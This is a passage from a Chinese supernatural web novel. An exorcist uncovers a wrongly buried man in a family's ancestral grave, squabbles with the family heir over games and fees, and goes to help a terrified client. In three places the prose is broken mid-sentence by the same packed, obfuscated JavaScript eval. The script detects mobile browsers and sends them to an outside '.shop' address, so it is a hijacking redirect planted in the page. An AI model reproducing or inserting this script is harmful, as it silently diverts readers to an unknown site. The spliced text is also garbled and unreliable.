他抬起头看向陆修望,目光锋利:“你太爷爷的后事是谁办的?” 陆修望皱眉:“很多人都参与了,但主要是我爸负责这件事,几个叔伯负责小环节,怎么了?” “谁封的棺?谁填的土?”陆叙又问。 “封棺请的方家的师傅,填土是家里老人监督工人做的,工人也是家里的。”陆修望的语气里带了点不耐烦,“这些有什么问题吗?” “封棺那天周围环境有没有问题?”陆叙盯着他,“下葬的时候有没有什么异常?” “没有,当时我就在旁边,方师傅郑师傅也在,没什么不对。” “你太爷爷入土前有没有人去打扰过他?” “没有,一直在我爷爷的院子,安排人轮流守着。”陆修望说。 “你确定?” “确定。” 陆叙又问:“参与后事的那些人,都是信得过的?” “是。” “不太可能吧,你仔细排查过吗?” 陆修望的耐心已经快到极限了。 他直起身,冷着脸看着陆叙:“你到底想说什么?我告诉你,我太爷爷的后事,所有人重之又重,绝对不可能有纰漏!这些问题我都回答过无数了,之前那些师傅也都问过,你还问这些没用的干嘛?” 陆叙抬起头,似笑非笑地看着他:“那我走?” 陆修望一愣:“你说什么?” 陆叙站起来,拍了拍裤子上的灰:“我说,你要是觉得我在糊弄你,那我现在就可以走。车费你包一下,咨询费就算了。” 他说得很平静,但没有任何开玩笑的意思。 陆修望盯着他看了几秒,深吸一口气,压下火气,咬着牙道歉:“不好意思,家里最近怪事太多,是我太急躁了。” “我可以肯定是信得过的人操办的,每个环节都有人盯着,不可能出纰漏,但如果你需要,我让人再去查。” “那就行。”陆叙看他态度还算诚恳,点了点头,“带我去看看别的。” 陆修望在前面开路,任劳任怨听着指挥,陆叙在那些老坟之间慢慢转悠,一股细微的臭味传来,陆叙定睛看了看,一座有点破旧的老坟吸引了他的注意。 这座坟很小,墓碑也很简陋,上面的字已经完全看不清了。从规格来看,墓主人在陆家的地位应该不高,但既然能进祖坟,说明至少和主家有联系。 陆叙蹲下身,仔细观察着坟的位置和朝向,这座坟和陆家老太爷的新坟,隐隐呈现出一种合流之势。如果他没猜错,阴气是从这座坟里渗出来的,因为老太爷的新坟被人动过手脚,地下气场有所变化,导致两座坟之间形成了某种连接,让这里的东西无意间流进了陆家老宅。 “这里可能有问题。”陆叙说。 陆修望走过来,看了一眼那座坟,也皱起眉。 “你家应该有族谱吧?”陆叙问,“查一下这座坟埋的是谁。” 陆修望拿出手机,打了个电话。 陆叙伸手扒开周围的杂草,墓碑底座已经开裂了,那股淡淡的腐臭味就是从这里渗出来的。但这味道不太对劲,不是尸体腐烂的味道…… 更像是鬼魂或者邪祟留下的臭味。 这种味道,不应该出现在正经的家族祖坟里。 几分钟后,陆修望挂了电话。 “查到了。”他说,“这是我……一个曾曾祖母的坟。” “你一个曾曾祖母?”陆叙打量了一下周围环境,“她怎么死的?” 陆修望也一脸迷茫:“说是寿终正寝。” “但阴气和梦魇的主要原因应该就在这坟里,你闻不到吗?”陆叙盯着那座老坟,点了几根蜡烛支在坟前,“里面怨气很重。” 陆修望莫名其妙冷笑了一声:“你接下来是不是要说,有人故意做局害她,让她在地下也不得安生?” 陆叙转过头,眼睛亮了一下:“你居然也看这种短剧?” 陆修望一愣:“什么?” “这种玄幻短剧或者小说。”陆叙的关注点明显跑偏了,“我以为你们这种大少爷不看这些,不过里面的内容不太可信,大多是瞎编的,和真实情况差远了。” 陆修望沉默了几秒,有点无语。他只是随口嘲讽一句,这人居然真的当话题聊起来了。 “我就随便说说。”陆修望说。 “随便?我怎么觉得你也对这些感兴趣?” “没有。” “哦。”陆叙点点头,又说,“我不信。” “……你说是就是吧。” “别嘴硬,正常人对夜探坟地这种事都是敬而远之,我看你还挺跃跃欲试。” “……”陆修望感到一阵无力,很想问他,这不是你非得叫我来的吗? 陆叙打量了他一眼:“不过你这样也只能感兴趣,入不了行。” 陆修望皱起眉:“为什么?” “蠢。”陆叙很直接。 陆修望的脸瞬间沉了下来:“你什么意思?” “说你蠢,听不懂吗。”陆叙摆摆手,“不过主要是你体质不适合。” 他指了指陆修望:“八字全阳,甚至可能是纯阳,这种命格的人天生克邪,百煞不侵,难得的好命,但对于这一行来说,就是个废人。” 陆修望气到无话可说,但又来了一点兴趣,忍不住问:“具体说说。” “你感知不到那些东西。”陆叙解释,“普通人虽然看不见,但在极端情况下,至少能感觉到阴冷、压迫感、不舒服之类的,但你不行,那些东西也接触不到你。” “那你呢?”陆修望问,“你体质就适合?” 陆叙笑了一下,没回答这个问题。 他转身,又看向那座老坟。 “回去查你曾曾祖母的事。”他说,“生前的,死后的,下葬时的,越详细越好。” 陆修望深吸一口气,压下心里那点好奇:“年代有点久远了,不一定能查到。” 陆叙说:“先查吧,现在说太多也没用,如果只是普通的怨鬼,我可以处理,但如果牵扯到更复杂的东西……” 陆修望还想追问,陆叙摆手打断他,走回老太爷的墓前,又蹲下来看了看。 “还有,”陆叙突然说,“你太爷爷下葬的时候,棺材里除了他本人,还放了什么东西?” 陆修望想了想:“很多陪葬品,金银首饰、古董、字画,什么都有。” “有没有什么特别的东西?”陆叙问,“比如他生前特别珍视的,或者来路不明的。” 陆修望皱起眉:“我不太清楚……我得回去问问。” “那就回去问。”陆叙站起来,拍拍手上的土,“这些细节很重要,别漏掉任何一样。” 陆修望点点头。 两人往回走,一路只有手机电筒的光亮,偶尔会有奇怪的鸟叫,氛围确实比较阴森,陆修望看着陆叙泰然自若的样子,忍不住又问:“你刚才说我体质不适合,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099167|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么体质适合?” 陆叙想了想。 “八字轻的,阴气重的,天生第六感强的,聪明的。”他说,“总之就是和你截然相反的,那种很容易招鬼的人。” “容易招鬼……“陆修望重复了一遍,看向陆叙那张轻描淡写的脸:“那你这工作岂不是很危险?” “是挺危险的,你懂什么叫除了生死都是擦伤。” 不过陆叙态度看起来很无所谓:“所以我才说你这种体质其实很好很难得,至少安全。” 他顿了顿,又补充:“而且你这种人,一般运气都不会太差,命里不会有坎坷。” 陆修望没说话。 他想起爷爷变得枯瘦的脸,还有家里的情况。 运气不会太差? 陆叙似乎察觉到他的情绪,回头看了他一眼。 “你运气确实不差。”他说,“如果不是你命格硬,陆家倒霉的应该是你。” “……什么意思?” 陆叙说:“你是陆家长孙,而且气运不错,有仇有怨的,想拉替死鬼的,想投胎的,肯定都会先找你,但你体质太特殊,它们碰不到你,只能转而去找你家其他人碰运气。” 他停下脚步,转过身,认真地看着陆修望:“从某种程度上说,如果你先出事,那你家其他人应该不会出问题。” 陆叙耸耸肩:“不过这也不怪你,毕竟你又控制不了自己的生辰八字。” 他转身继续往前走:“所以得赶紧把事情查清楚,早点解决,趁你现在还顶得住。” 第二天一早,陆叙陪同陆修望安排人手去查曾曾祖母的事,交代完细节,陆修望带陆叙去了新的客房,装修讲究,窗外园林风景优美,比他自己那个小工作室不知高到哪去了。 陆叙躺在舒服的床垫上,忍不住叹了口气:“如果下半辈子能住这里,不敢想我会有多爽。” 陆修望站在门口,听到这句话,实在有点无语:“那你多接几单,自己买一套。” “接一辈子单都买不起。”陆叙很惆怅,“我不像你,天生命好。” 陆修望懒得搭理他,转身准备走,刚迈出一步,就听见陆叙叫他。 “诶,等等。” “你还有什么事?” 陆叙靠在床头,朝他晃了晃手机:“来陪我刷一会装备。” 陆修望愣了一下:“我还有事——” “什么事能比这个重要?”陆叙打断他,理直气壮,“你们这个年纪的男生,玩游戏肯定都挺厉害的吧?来来来,带带我。” 陆修望:“……” 他深吸一口气,告诉自己这是客人,不能把他赶出去:“你怎么知道我也玩这游戏?” “人人都玩,你不玩才有鬼了吧?”陆叙已经发了开始创建房间,“快点快点。” 陆修望站在原地犹豫了几秒,最后还是走过去,在床边的沙发上坐下,掏出手机接受了邀请。 接下来几天陆修望也无事可做,他父亲的状态好了点,陆修望感觉可能是蜡烛的作用,他不得不承认,陆叙确实有几分本事。 陆叙看他每天都来客房转悠,就拉着他当陪玩,他真没看错人,这种年纪的男生玩起游戏就是有水平。偶尔两人会四处转转查看情况,陆叙会说一些他帮别人处理事情的经历,陆修望以前虽然对这些没什么兴趣,但听多了还挺有趣。 陆修望渐渐发现,陆叙这人还挺有意思的,特别是玩游戏的时候,话多还爱抱怨,每天不是怒骂策划就是怒骂抽卡机制。 陆修望有时候看着他气急败坏的样子,觉得有点幼稚,但又莫名有点……可爱? 这个词在他脑海里冒出来的时候,他自己都愣了一下。 但仔细想想,好像也没错。 陆修望回到自己房间,觉得自己前几天有点太过于装了,先入为主觉得陆叙不靠谱,对他态度也不太好,陆叙这人,虽然讲话气人,但至少为人真实,当个朋友哥们,其实还挺不错的。 5. 第 5 章 然而,第二天,陆修望带着查到的资料来找陆叙时,对方又变脸了。 陆叙难得没玩手机,面前摆着一堆乱七八糟的蜡烛镜子,他接过那一沓纸,从头到尾翻了一遍。 这个曾曾祖母没留下后代,资料只剩一些生卒年月、族谱记载、账本、一些零散的家族大事件……全都是些无关紧要的东西。 “就这些?”陆叙皱眉。 “就这些。”陆修望说,“年代久远,能找的都找了,家里老人对她也没什么印象,不记得太多细节。” 陆叙把资料扔在桌上,忍不住骂了一句:“废物。” 陆修望的脸色有点不好看:“你说什么?” 陆叙冷笑一声:“你别对号入座,也别给我甩脸子。” 他站起来,在房间里来回走了几步。 陆修望盯着他,深吸了一口气,感觉自己就是陆叙的出气筒。就在昨天,这人还和他热情地讨论新出的角色强度,分析哪个值得抽,哪个是陷阱,结果看到资料之后,立刻就变了脸。 “那现在怎么办?”陆修望压着脾气问。 陆叙停下脚步,看向他,表情难得严肃:“只能开棺。” 陆修望愣了一下:“开哪个?” “你曾曾祖母的。”陆叙说,“问题的源头在她那儿,得先看看坟里到底有什么。” “如果你可以决定的话,把你爸你爷生辰八字发给我。” 陆修望沉默了几秒。 “……行。” 陆叙掏出手机,点开一个小程序,划拉了几下:“最快半个月后,最好就是下个月,稳妥,我推荐是下个月。” 其实陆叙也有一点私心,一个月后日子是最合适的,他也可以在这里享受一段时间生活,但陆家的人就得多遭几天罪,不过这和他又有什么关系呢。 “行,听你的。”陆修望点点头,“还有别的要处理吗?” “请护送封,各个步骤都需要专人,这些你应该能找到可以信任的人,具体时辰,动土方位,找方家问清楚,开棺过程一定不能出差池。” 日子定下来之后,陆叙安然地在陆家老宅享受起了生活,脾气也好了很多。 说实话,这种大宅子住着就是舒服,吃的用的都是最好的,每天还有人专门过来问他吃什么玩什么需要什么。 陆叙也不客气,该吃吃该喝喝,闲着没事就在庄园里到处转悠,要么躺在房间里打游戏,还有陆修望这么一个又帅又有实力的陪玩,陆叙有点乐不思蜀,陆修望也产生了和陆叙成为了好朋友的错觉。 一切风平浪静,就这么过了一个月。 开棺这天,陆叙大半夜就带着陆修望上了山,天还没亮,老郑、方先生,还有陆修望请的各个步骤的护法,总共九个人也来到坟地提前开始做准备了。 摆供品、上香、念经,陆叙的准备工作已经做完,只是站在旁边看着没插手。 也就在这时,他的手机突然响了。 来电显示是许瑶,陆叙皱了皱眉,走到一边,接起了电话。 “喂?” “陆、陆先生……”许瑶的声音在发抖,像是被吓得不行了,“我、我这边……” “怎么了?”陆叙心里咯噔一下,又出事了。 “那个东西又出现了!”许瑶的声音带着哭腔,“而且比之前更严重!水,水好像滴到我脸上了!” 陆叙的表情变得严肃起来:“你现在在哪儿?” “我在被子里……我不敢出去……”许瑶的呼吸声很乱,“怎么办?我该怎么办?” “别慌。”陆叙的语气难得认真起来,“你现在用手机随便播一首狂躁一点的音乐壮胆,找到铜镜,用买时候的红布包起来放包里,去公司或者热闹的市区,总之,别在没人的地方待。” “可是、可是我——” “听我的。”陆叙打断她,“我和你说会儿话,你别害怕,现在立刻马上起床,收拾东西,把你买的那些法器都带上,去网吧也行,包个夜,我处理完事情马上就过来。” “那你……我起来了,你先别挂电话。” “放心,相信我,我会帮你。”陆叙说,“最迟后天早上,我一定来找你。” 许瑶那边沉默了几秒,似乎在强迫自己冷静下来。 “……好。”她深吸了一口气,“我现在就走。” “嗯。”陆叙说,“到了地方给我发定位。” 挂了电话,陆叙站在原地,盯着手机屏幕看了几秒,许瑶那边的情况比他想的要严重,按理说,买了法器之后,那些印记的影响应该会削弱才对,但在好转了一阵后,反而更严重了,这次似乎不再是印记,是那种东西来了。 陆叙只能想到两个原因,要么那个风铃她还没扔,要么法器出了问题。 陆叙揉了揉太阳穴,转身走回墓前,陆修望正站在那座老坟前,看见他回来,关切问了一句:“出什么事了?” “之前的一个客户。”陆叙有点烦躁,“后遗症犯了,我处理完这边得马上过去,希望这边能顺利吧。” 陆修望点点头,没多问。 老郑那边已经准备好了,他过来问陆叙:“时间差不多了,你要点灯吗?” 陆叙看了一眼那座坟:“用不着,开吧。” 护法小心翼翼地撬开墓盖,挪开封土,整个过程持续了大概一个小时。主持在棺材四角贴上黄符,看了看日影,点头示意后,棺材盖才完全打开,陆叙站在棺材边,仔细打量着四周,没出异象,一切正常,怨气应该被暂时封住了,他这才低头往里看。 下一秒,他像是被吓了一跳,嘴里不由自主吐出一句“操。” 陆修望伸手扶住他,也低头看向棺材。 棺材里躺着一具早已化为白骨的遗骸,腐败的寿衣,周围摆着一些简短的陪葬品,只有几件首饰、一面铜镜、一些碎银子,看上去很简陋,但一切正常。 陆修望站在陆叙旁边,盯着棺材看了半天,脸色有点难看。 “就这样?”他转头看向陆叙,语气里带着质问,“你说有什么怨鬼什么异常,在哪儿?我怎么什么都没看到?” 陆叙头也不抬,冷冷地说:“常识都没有的蠢猪,赶快把你的嘴闭上。” 陆修望脸色彻底黑下去了:“你他妈的——” 老郑吓了一跳,拉了陆叙一把:“别乱讲话。” 陆叙冷哼一声:“怕什么,这个主家的蠢蛋还在这大放厥词,有怨报怨有仇报仇,找他就行。” “那你倒是说说什么冤什么——” “闭嘴。”陆叙打断他,抬起头,一副讥讽的表情,“你曾曾祖母是男的吗?” 陆修望愣住了:“你什么意思?” “我问你,”陆叙指着棺材里的遗骸,“你看不出来里面躺的是个男的吗?” 然后对着陆修望做了个嘴型:“沙币。” 空气凝固了几秒,陆修望猛地低头看向棺材。老郑和方先生也凑过来,两人对视了一眼,脸色都变了。 “这……”老郑蹲下身,仔细观察了一下骨骼,“这确实是男性的骨骼。” 陆修望的脸色从黑变白,又从白变青。 “怎么会……”他喃喃自语,“族谱上明明写的是,老人也确认过……” “族谱上写的是女的。”陆叙打断他,“但坟里埋的是个男的。” “所以问题来了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099168|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”陆叙看着陆修望,“是族谱错漏还是有人故意为之?” 陆修望张了张嘴,一个字都说不出来。 老郑也皱起眉:“这不对啊……如果坟里埋的不是陆家的人,那真正的主人呢?而且这男人又是谁?” “这才是问题的关键。”陆叙蹲下身,又仔细看了一眼棺材里的情况,“你们家这座坟,从一开始就有问题。” 他指着那具白骨。 “当年下葬的时候,你家老坟就已经被人混进来动了手脚。” 陆叙顿了顿,“要么你曾曾祖母没死在当时,有人把他埋在这儿,冒充你曾曾祖母。要么……” “要么什么?”陆修望的声音有点紧。 “要么你曾曾祖母被人抛尸,”陆叙说,“这个人就是用来坏你家风水的。” 空气再次安静下来,陆修望有点难以接受。 “那我曾曾祖母她……” “不知道。”陆叙闭了闭眼,“我知道的是,这个男人是被活埋的,不赶快找人超度,马上就会酿成大祸,短短一个月,附近这一块地就已经臭了。” 他站起来,看向陆修望。 “你家现在梦魇的问题,起源就在这儿。这个男人的怨气积累百年,因为你太爷爷新坟出的纰漏,一朝得以释放,就这么影响到了你家老宅的气场,那个面色青紫恐吓你家人的鬼影,就是他怨气打的像。” 方先生环视四周,叹了口气:“这下坏了,这是扰气局,阴不宁,则阳不安,唉。” “比扰气更严重,这多半是要阴身侵主,带怨气的尸体在你家老坟底下,风水师看不出来,长此以往,不仅主从错位,更会扰乱因果,他图的不是你陆家一时败落,是想让你家后代命途失序,难以顺转。” 陆叙幸灾乐祸笑了两声:“啧啧啧,这得有多大仇多大怨啊。” 陆修望咬着牙,半晌才挤出一句话:“我操。” “操什么操。”陆叙说,“处理不了就去找你爹,孩子。” “……” 陆修望深吸了一口气,掏出手机:“我马上让人安排。” “嗯。”陆叙点点头,然后看向老郑和方先生,“麻烦几位做好封存,找个合适的日子配合师傅把他超度了,其他事等查清楚之后,再决定怎么处理吧。” 老郑和方先生点点头,开始收拾东西。 陆叙走到一边,掏出手机看了一眼。 许瑶还没发消息过来。 他皱了皱眉,给她发了条消息:“怎么样了?” 过了几分钟,许瑶才发来定位:“找了一个人多的网吧,谢谢你。” 陆叙松了口气:“先在那儿待着,别去有镜子的地方,尿急了就去人多的公共厕所,一定别看镜子,知道吗?” 封棺结束,两人一路往回走,陆叙掏出保温杯又喝了几口味道奇怪的水。 陆修望忍不住问:“你喝的什么?” 陆叙冷哼一声:“关你屁事。” 陆修望上前一步,揽住他的肩,拉下脸面道歉:“对不起,我不知道为什么,最近总是控制不住自己,我一直都很相信你的能力,刚才真不是故意质疑你的。” 陆叙缓和了心情,也没和他计较,只是说:“男人的嘴,骗人的鬼。” 陆修望见他还愿意搭理自己,赶忙端正态度:“不说了,过会儿回去小弟带你刷图好吧,就当赔礼道歉了。” 陆叙这才松口:“你这体质虽不受阴气影响,但阴阳两宅气场流转阻滞,往来不畅,会持续放大你命局中偏激躁动的部分,反应过激不是你本意,我可以理解,不会和你计较。” 随后又补充:“刷图出的货二八分,懂我意思吗?” 6. 第 6 章 回到住处,陆叙直接瘫在沙发上,从茶几上抓起手柄。 他朝陆修望扬了扬下巴: “给我把饭端过来。” 陆修望站在门口简直无语到了极点,刚才在坟地的时候,这人还在骂他蠢猪、煞笔,他道歉以后,嘴上说着不介意,脸上还是一副别惹我的表情,现在倒好,又不计前嫌开始把自己当下人使唤了。 “你就不能动一下去外面吃吗?” “别废话,快点。”陆叙打断他,把另一个手柄扔过去。 陆修望接住手柄,沉默了几秒,让人送来了一些吃的,最后还是坐下了。 两人开了个新游,一路打到天黑,陆叙人菜瘾大,嘴也很碎,陆修望一个没看住,对方就要惹祸,惹完还得抱怨陆修望不及时救他。 陆修望一开始还想反驳,后来干脆放弃了,反正说什么这人都能接上话怼回来。 打完最后一局,陆叙扔下手柄,伸了个懒腰。 “行了,我累了,需要休息。”他说,“你家的事情就先告一段落吧。” 陆修望看他一副要发表重要言论的架势,也放下手柄,神情认真看向他。 “剩下的事就是超度、安坟、找遗骨,还有调查谁想搞你家。”陆叙给陆修望简单梳理了一下接下来要做的事,又补充,“这些就不是我的工作范畴了,你家这么牛逼,自己找人处理就行。” “所以呢?” 陆叙瞅了他一眼,那表情怎么看怎么不对味:“所以,这一半事情已经完美解决了,把钱打给我,这都要我提醒你吗?” 陆修望皱起眉:“一半?” 陆叙笑了一下:“你自己心里清楚。” 陆修望沉默了。 陆叙找到了梦魇的源头,是那个被埋在曾曾祖母坟里的男人,但这让事情变得复杂了,过去是谁在针对陆家,现在又是谁动了老太爷的墓,这些他爹的人已经去查了,明面上的东西很好查,但涉及到邪术又是另外一回事了,陆家的问题,远不止于此。 “你家的事,你不想说,但我能看出来,生意,还有那方面,应该多多少少都受到影响了吧。”陆叙似乎看穿了他的想法,“你家老太爷的墓,十有八九是有问题的,你可以找别人帮你处理,但如果你觉得我技术不错,超度完八十一天后再来找我也行。” “为什么是八十一天?”陆修望问。 “怨气太重,超度完也需要时间才能彻底散去。”陆叙解释,“八十一天,周围气场应该恢复得差不多了,那时候再看你太爷爷的坟,就不会看走眼。” 陆修望点点头。 “明白了,那到时候就麻烦你了。” 陆叙话锋一转:“当然,如果你想邀请我在你家住一段时间,陪你玩玩游戏,也不是不行。” 陆修望气笑了,到底是谁陪谁玩啊?就因为家里这堆破事,他最近一个月每天得陪陆叙玩近十小时游戏,年纪轻轻就已经赛博养胃。 “还有,”陆叙打了个哈欠,“明天晚上,我得再去坟地一次,没问题的话,我就先去处理别的事了。” “行。”陆修望说,“需要准备什么,我让人安排。” “不用安排,你陪我去就行。”陆叙摆摆手,“你反正在家也是闲着,我就没见过你这个年纪有谁整天无所事事的。” 陆修望深吸一口气,忍住了想和他争吵的冲动。 “那费用——” “算上材料费,外勤费,五十个,我给你抹了零头。”陆叙说得很干脆,“你应该也懂,处理这些事,最好别还价。” 其实他平日里处理一桩怪事顶天了20万,陆家这部分事情也不算太棘手,但是陆修望最开始的鬼态度,他的车程费材料费,陪陆修望玩游戏的陪玩费,还有受阴气影响,抽卡不顺的损失费,50万很合理吧? 陆叙沉默了一瞬,说起抽卡,他以前怎么没想到…… 陆修望冷笑了一声:“才五十?我以为你会坐地起价狠狠敲诈我一顿。” 陆叙看起来不太高兴,但眼睛亮了:“什么叫敲诈,有你这么说话的吗?当然,你想多给点我也不介意,六十六好听,八十八也不错,图个吉利不是?” 陆修望大手一挥,让人给他转了九十九过去。 “先给你这些。等所有事情解决了,剩下的都好说。” 陆叙确认收到后,心情明显好了不少,他美滋滋地打开抽卡界面看向陆修望: “帮我抽卡?” 陆修望看着他那张得意的脸,真的很想说不,感觉一旦同意今晚又得陪他玩个通宵。 但陆修望只是叹了口气,没拒绝,问他:“为什么要我抽?” 第二天晚上十一点多,两人又一起去了祖坟,月亮被乌云遮掩,但陆修望却感觉今天的墓地看起来敞亮了很多,不再有那种让人不舒服的沉闷感。 陆叙在那座被重新封上的坟前站了很久,点了柱香左右试探。 “怎么样?”陆修望问。 “没什么大问题。”陆叙示意陆修望把香奉上,“师傅设的这个阵大概也就管个十天半个月,超度的事你们得抓紧。” “超度好之后,就尽快把他送出去,找个风水宝地安置好,以免再生事端。” “陆叙,谢谢你。”陆修望看向他,态度难得真诚,“你帮了我们家大忙,以后有用得上的地方,你尽管说。” “说这些干嘛?”陆叙拍了拍他的肩,“拿钱办事,这只是一桩交易,没必要。” “我是说真的——” “行了,不说这个了,我得走了,我的客户还在等我。” 陆修望看了一眼时间:“大半夜你怎么走?不能等明早吗?” “找车呗,这些事情还是越早解决越好。”陆叙看了他一眼,“像你家这事,如果早点查出端倪,也不会到如今这种不好处理的地步。” “我送你。”陆修望说。 陆叙也没拒绝,反而笑了一下:“我知道的,你对这些也很好奇,我懂,带你去见识见识。” 陆修望没说话,他好奇个屁,他真不知道陆叙为什么莫名其妙总觉得他会喜欢这些神秘的东西。 陆修望让人开车过来,两人坐在后座,车子驶出老宅,往安市方向开。陆叙靠在座位上,时不时看一眼陆修望,像是有什么话想说。 陆修望被他看得有点烦:“有什么屁就放。” “那玩意儿真的一点都没影响到你?”陆叙突然问。 “什么玩意儿?” “那个男人啊。”陆叙说,“这种怨鬼很凶的,你在你爷爷的院子里待了这么久,还每天跟着我到坟地转悠,真的一点感觉都没有?” 陆修望想了想:“是,真的,什么都没感觉到,只是偶尔会感觉压抑烦躁。” 陆叙盯着他看了好一会儿,眉头越皱越紧:“不应该啊……” “你什么意思?”陆修望问。 “虽然是全阳体质,但一般破了身的,肯定多少会受点影响。”陆叙很认真地解释,“纯阳之气会有所削弱,对这些东西的抵抗力也会降低一点。” 陆修望的脸色变了又变。 “我操!你他妈在这乱说什么!” “这么急?你不会还是童子身吧?不应该啊?”陆叙疑惑地看向陆修望,上下打量。 陆修望咬牙切齿:“关你屁事。” 陆叙做出恍然大悟的样子:“哦——我懂了。” 陆修望本来不想理他,但看着陆叙那副“我什么都明白了”的表情,还是忍不住问:“你又懂什么了?” 陆叙转过头,一本正经地说:“你这种体质的人,一般都精力充沛,做事充满热情,积极向上。但反过来,性格的负面也很极端,脾气暴躁,星鱼旺盛难以感到满足。但我看着你只是偶尔有精力外泄,再加上你说你还是童子身……” 他顿了顿,语气里带着点同情。 “那你肯定是不太行。” 空气凝固了三秒。 “所以自卑。” 陆修望简直想把他从车上扔下去。 “你懂个屁!”他压低声音吼道,“谁说我不行?!” “那你怎么还是童子身?”陆叙一脸疑惑,“二十一岁了吧?你们这种家族的少爷,不是都早就……” “老子洁身自好清心寡欲不行吗?!”陆修望打断他。 “哦~”陆叙拖长了声音,“洁身自好清心寡欲啊……” 陆叙的语气里满是“我不信”。 陆修望深吸一口气,告诉自己不要和他一般见识: “你到底去不去?不去我现在就让司机停车。” “去去去,不想说就算了。”陆叙把头转向另一边,但嘴角还挂着得意的笑。 陆修望靠在座位上,努力平复心情,但陆叙的话还是在他脑海里回荡,他感觉这人就是来克他的,从遇到陆叙开始他这气就没顺过。 陆叙倒是很自在,玩了会手机,偶尔抬头看一眼窗外,再瞥一眼陆修望那张黑沉沉的脸,忍不住又乐了。 “别生气啊。”他说,“不行也不是什么大事,医生解决不了的问题,我帮你解决,我最近在研究……” “别说了,哥,算我求你了好吗?” 陆叙耸耸肩,终于不说话了。 四点多,车子停在安市一家网吧门口,陆叙下了车,径直就往里走。 “人怎么在这儿?”陆修望皱起眉。 陆叙看了一眼手机上的定位:“我让她找的网吧,这种地方人多,吵闹,她会安心一点。” 网吧灯光明亮人声嘈杂,空气里弥漫着烟味汗味,还有泡面的味道,有点臭,但总体环境还可以,不至于“藏污纳垢”,许瑶在这里很安全。 陆叙扫了一眼,很快在一个角落找到了许瑶。她坐在最靠墙的位置,面前的电脑屏幕亮着,还在播放着视频,但她显然没在看,双手抱着胳膊,身体微微蜷缩,眼睛盯着桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099169|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面,整个人看起来很紧绷。 “许瑶。”陆叙走过去。 许瑶猛地抬起头,看见陆叙的瞬间,整个人都放松了一瞬。 “陆先生……”许瑶习惯性抓住陆叙的手臂,声音有点颤抖,显然还心有余悸。 “没事了。”陆叙在她旁边坐下,“你先收拾好东西,过会我们找个地方慢慢聊。” 陆修望站在一边,看着他轻轻拍了拍许瑶的手,怎么看怎么不对味。为什么这人对别的客户温柔又贴心,对着他就是阴阳怪气? 三人在网吧玩了会,待到天亮才离开,路边随意找了一家早点铺坐下,陆修望一副嫌弃的样子,陆叙拍了他一巴掌,转而看向许瑶。 许瑶努力让自己镇定下来,但陆叙能看出来,她还在害怕,手指一直紧紧攥着袖口。 “大体情况电话里我了解了,”陆叙说,“但具体的,你还得再跟我讲一下。” 许瑶深吸了一口气,点点头: “我按你说的买了法器,放在卧室和卫生间。“她的声音很轻,“确实有用,水滴声也只是偶尔能听到,我以为……我以为就这样过去了。” “我每天回去,保持门窗锁闭,床头也开着小灯,虽然还是会有点害怕,但至少能睡着。” 她顿了顿,声音开始发抖: “但是前几天,事情急转直下。” 许瑶深深呼吸了一口,平复了一下情绪。 “我感觉……那个东西一直在我屋子里。”许瑶打了一个寒颤,“它没再从门缝出去。我能感觉到,它就在房间里,四处走动,可能……它就在我旁边!” “前天晚上,我躺在床上,明明很困,但就是睡不着。然后突然……“她咬了咬嘴唇,“突然就动不了了。” 陆修望好奇地问: “鬼压床?” “对……应该是。”许瑶说,“我整个人都僵住了,想动动不了,想喊喊不出来,然后我就闻到了一股味道……” “什么味道?” “说不清楚……就是一股淡淡的臭味。”她皱着眉努力回忆,“像是……污泥和水混在一起的味道。” 陆叙和陆修望对视了一眼。 陆修望了然——这就是陆叙念叨的鬼的臭味。 “还有声音。”许瑶继续说,“窸窸窣窣的声音,就在我耳朵旁边。很近,像是……像是有什么东西贴着我的脸。” “然后我就感觉到了。” “感觉到什么?”陆修望来了兴趣。 “有什么东西过来了,然后就是水滴。”许瑶咬着牙,尽量让自己的声音保持平静,“粘稠的水滴,滴在我脸上,像口水一样,黏糊糊的,还有点腥气……” 她用手背擦了擦脸,像是那些水滴还在一样。 “越来越多,我能感觉到它们顺着我的脸颊往下流,流到脖子上,流到枕头上……我想挣扎,想擦掉,但我动不了!到后来连呼吸都开始困难!” 她的呼吸变得急促起来:“我都不知道过了多久,我只知道那些水一直在滴,我特别痛苦,但挣扎不了……然后我莫名其妙想起买法器那天师傅给我看的几种桃木剑。” 许瑶闭上眼睛,眼泪终于顺着脸颊流下来。 “过了没一会,我突然就能动了,我赶忙摸了摸自己的脸,什么都没有。” “只是幻觉,你别太害怕。”陆叙安慰道。 许瑶抹了抹眼泪:“但我明明感觉到了,那些黏糊糊的水,还有那股淡淡的臭味……” “我当时怕得不行,就给你打了电话。” 陆叙沉默了几秒,像是在思考。 